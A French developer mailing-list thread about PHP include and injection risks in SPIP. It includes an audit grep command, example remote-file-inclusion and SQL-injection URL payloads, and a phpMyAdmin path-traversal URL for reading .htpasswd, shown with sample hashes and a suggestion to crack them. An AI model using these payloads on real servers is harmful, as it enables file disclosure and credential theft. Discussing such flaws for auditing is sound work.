Bonjour,
Je fais suivre sur la liste, ca peut interesser.
Yannick
Ce n'est pas vraiment un trou de sécurité de PHP, mais plutot dû à un
mauvais code 
A noter que le safe mode de PHP permet completement d'eviter ça: il
verifie l'UID des fichiers ouvert.
De meme, l'open_basedir de PHP restreint les repertoires où se trouvent
les fichiers pouvant être ouverts
C'est le même type de vuln que le SQL injection, qui consiste à apsser
une requête SQL dans une variable renseignée à partir de variables de
formulaire.
C'est pas mal alarmiste, et ne concerne pas PHP, mais el code développé
avec.
Ne serait-ce pas du FUD, ou du moins monté en épingle par des gens qui
auraient des intérêts dans d'autres langages que du PHP ?
Yannick Patois wrote:
Je fais suivre sur la liste, ca peut interesser.
merci, mais c'est pas tout recent ce truc, c'est meme tres ancien !!!
et c'est pas franchement une faille de php comme cela a deja été dit.
je crois pas que SPIP soit concerné par cette faille. Parce que SPIP
genère des liens avec des pages différentes, et pas des include qui
dependent directement de variables.
enfin cette commande revelle tout de meme quelques surprises sur
lequelles il faudrait peut-etre refléchir un peu
find . -name '*.php*' | grep -v CACHE | xargs grep include | grep '\(.*\$.*\)'
ca fait meme un peu peur. Il se trouve que ce ne sont pas
les fichiers de premier niveau qui sont suspects.
Ouais mais l'important, c'est de savoir s'il y a systématiquement un
$...=... quelque part avant.
Bon, là le grep se corse
À+, Pif.
Christian Lefebvre wrote:
find . -name '*.php*' | grep -v CACHE | xargs grep include | grep '\(.*\$.*\)'
ca fait meme un peu peur. Il se trouve que ce ne sont pas
les fichiers de premier niveau qui sont suspects.Ouais mais l'important, c'est de savoir s'il y a systématiquement un
$...=... quelque part avant.
Bon, là le grep se corse
ca change quoi ?
include($variable_pourrie);
$foobar = include($variable_pourrie);
pour moi, sur le plan de la sécurité, y'a aucune différence, non ?
donc le signe = avant ne change rien au probleme.
sinon, mon grep prend les includes avec un ( ... $ ... )
ce qui correspond bien a la problematique annoncée.
Naaaan, j'veut dire ça :
$variable_pourrie=quelque_chose;
include($variable_pourrie);
si y'a la première ligne, tu mets ce que tu veux dans l'url,
ça dégage avec l'affectation.
par contre, avec id_article par exemple, un
include("djsvkv?id_article=$id_article") est contournable.
Christian Lefebvre wrote:
ca change quoi ?
include($variable_pourrie);
$foobar = include($variable_pourrie);
Naaaan, j'veut dire ça :
$variable_pourrie=quelque_chose;
include($variable_pourrie);si y'a la première ligne, tu mets ce que tu veux dans l'url,
ça dégage avec l'affectation.
par contre, avec id_article par exemple, un
include("djsvkv?id_article=$id_article") est contournable.
tu peux préciser ?
lequel est le plus secure, et lequel le moins ?
sinon, si la variable provient de null part, genre $GLOBALS, il va etre assez difficile
de suivre son cheminement jusqu'à l'include. De la même facon pour un hackeur potentiel
il sera assez diffile de la pister, sauf a taper des url pour essayer.
C'est assez genant de laisser ce genre de message sur l'archive web de la liste de diff, non ?
@ Marc Quinton <quinton@free.fr> :
sinon, si la variable provient de null part, genre $GLOBALS, il va etre
assez difficile de suivre son cheminement jusqu'à l'include. De la même
facon pour un hackeur potentiel il sera assez diffile de la pister, sauf a
taper des url pour essayer.C'est assez genant de laisser ce genre de message sur l'archive web de
la liste de diff, non ?
Pourquoi, tu as trouvé un trou de sécurité ? 
Pour l'instant je ne vois pas comment les include (même ceux du cache, et à
supposer que tu réussisses à les appeler directement) seraient
exploitables... donne un exemple plus précis (hors liste si tu veux).
PS: si le besoin se fait sentir d'une liste sans archives et en "comité
restreint", tu peux écrire à spip-commit@rezo.net
-- Fil
Fil wrote:
Pourquoi, tu as trouvé un trou de sécurité ?
Pour l'instant je ne vois pas comment les include (même ceux du cache, et à
supposer que tu réussisses à les appeler directement) seraient
exploitables... donne un exemple plus précis (hors liste si tu veux).PS: si le besoin se fait sentir d'une liste sans archives et en "comité
restreint", tu peux écrire à spip-commit@rezo.net
non y'a pas de trou de securité exploitable a prioris. Mais quand je fais le fameux grep, ca donne a reflechir.
de la a savoir les exploiter y'a un pas, mais que savent franchir allegrement certain hackeur.
non y'a pas de trou de securité exploitable a prioris. Mais quand je
fais le fameux grep, ca donne a reflechir.
Réfléchir, c'est souvent nécessaire. Mais insinuer sans plus d'éléments
probants, ça n'est pas constructif. "FUD", je crois que ça s'appelle.
de la a savoir les exploiter y'a un pas, mais que savent franchir
allegrement certain hackeur.
Sauf s'ils ne peuvent pas du tout. Donc la question reste entière : expose
clairement ce que tu vois, et essayons de l'exploiter. Si on trouve, au
moins on sera fixés.
PS: Ce que je trouve assez sidérant, à propos de sécurité, c'est que
certains spipeurs sont suffisamment armés pour faire un audit complet de la
sécurité de SPIP. Et je constate que, pour l'instant, personne ne nous a
signalé de trous. Comme je ne peux pas croire qu'il n'y en ait pas*, je
ne peux que supposer qu'ils les gardent en réserve pour les exploiter le
moment venu ? Détrompez-moi ?
* précisément : je suis certain qu'il en reste !-)
-- Fil
>Naaaan, j'veut dire ça :
>$variable_pourrie=quelque_chose;
>include($variable_pourrie);
>
>si y'a la première ligne, tu mets ce que tu veux dans l'url,
>ça dégage avec l'affectation.
>par contre, avec id_article par exemple, un
>include("djsvkv?id_article=$id_article") est contournable.
>tu peux préciser ?
lequel est le plus secure, et lequel le moins ?
sinon, si la variable provient de null part, genre $GLOBALS,
les variables prédéfinies sont de toutes façons redéfinies de
force par php. Tu ne peux pas faire ...?http_user_agent=tralala par
exemple
à partir de là, ce qu'il faut vérifier c'est que toute variable
utilisée dans un include (ou autre truc sensible, genre requete
mysql) n'est pas une variable d'url "brute de fonderie".
exemple, s'il y a ça quelque part dans le code :
mysql_query("select * from spip_article where id=$id_article")
il faut vérifier que l'internaute ne peut pas faire ça :
...?id_article=42;drop_table_spip_article
en php/mysql, ça marche pas ( ; interdit dans une query) mais
j'ai connu un cas ou ça marchais (et où ça marche surement encore
=> je n'en parlerai pas d'autant plus que c'est chez un concurent).
autre exemple, il y a peut être quelque part un truc du genre
include("$dossier_squelette/...").
comme par défaut cette variable est vide, on peut la forcer dans
l'url => on peut faire un include de ce qu'on veut par exemple avec
...?dossier_squelette=http://un truc quelconque?pour que le reste
passe en query string.
Bon .. en vrai, c'est plus dur que ça, mais c'est l'idée.
C'est assez genant de laisser ce genre de message sur l'archive web de
la liste de diff, non ?
Non, ça force à s'occuper du problème. C'est l'intéret du simple : si
tu codes n'importe comment, n'importe qui pourra le crier sur les
toits 
À+, Pif.
autre exemple, il y a peut être quelque part un truc du genre
include("$dossier_squelette/...").
comme par défaut cette variable est vide, on peut la forcer dans
l'url => on peut faire un include de ce qu'on veut par exemple avec
...?dossier_squelette=http://un truc quelconque?pour que le reste
passe en query string.
Pour info : la plupart de ces variables (notamment $dossier_squelettes) sont
verrouillées dans ecrire/inc_version.php3, qui est inclus avant toute autre
chose. Si on en a oublié, vous pouvez commencer à chercher par là...
-- Fil
Si vous avez un phpmyadmin :
http://url/myadmin/sql.php3?btnDrop=Non&goto=[un fichier à lire]
Par exemple, si phpmyadmin est dans /myadmin, et que vous voulez lire le
fichier .htpasswd qui vous permettrait de faire un brute force sur les
password apache :
http://url/myadmin/sql.php3?btnDrop=Non&goto=../admin/.htpasswd
→
toto:3fx5I5blmqa5g administrator:lmYpt.H0KBO4s
Et hop. Un coup de brute force md5 (genre crack) et vous chopez le mot
de passE. Reste plus qu'à l'utiliser.
2 remarques :
1/ il faut connaître l'emplacement du fichier .htpasswd,
2/ c'est une faille PHPMyAdmin, et pas PHP.
Le sql.php(3) n'authentifie-t-il pas avant ?
(en tout cas chez moi c'est ça)
Alors prends
"/home/b/bruno_plopop/web/php/applis/frontal/prive/admin/.htpasswd"
plutot que ton propre htpasswd. Tu es identifié parce que tu as le driot
d'utiliser la chose, mais tu peux aller lire le php du voisin pour y
trouver nue faille, par exemple.
evidemment
mais alors la tu peux directement faire ton propre script qui va lire ce
que tu veux sur le serveur, je vois pas pkoi c'est une faille de
phpmyadmin!
Dans une optique server mutualisé, il faut évidemment du safe-mode, au
moins !
Oui, mais si tu n'as pas accès ftp ou sh sur la machine ?
C'est bien une faille de myadmin, exploitable.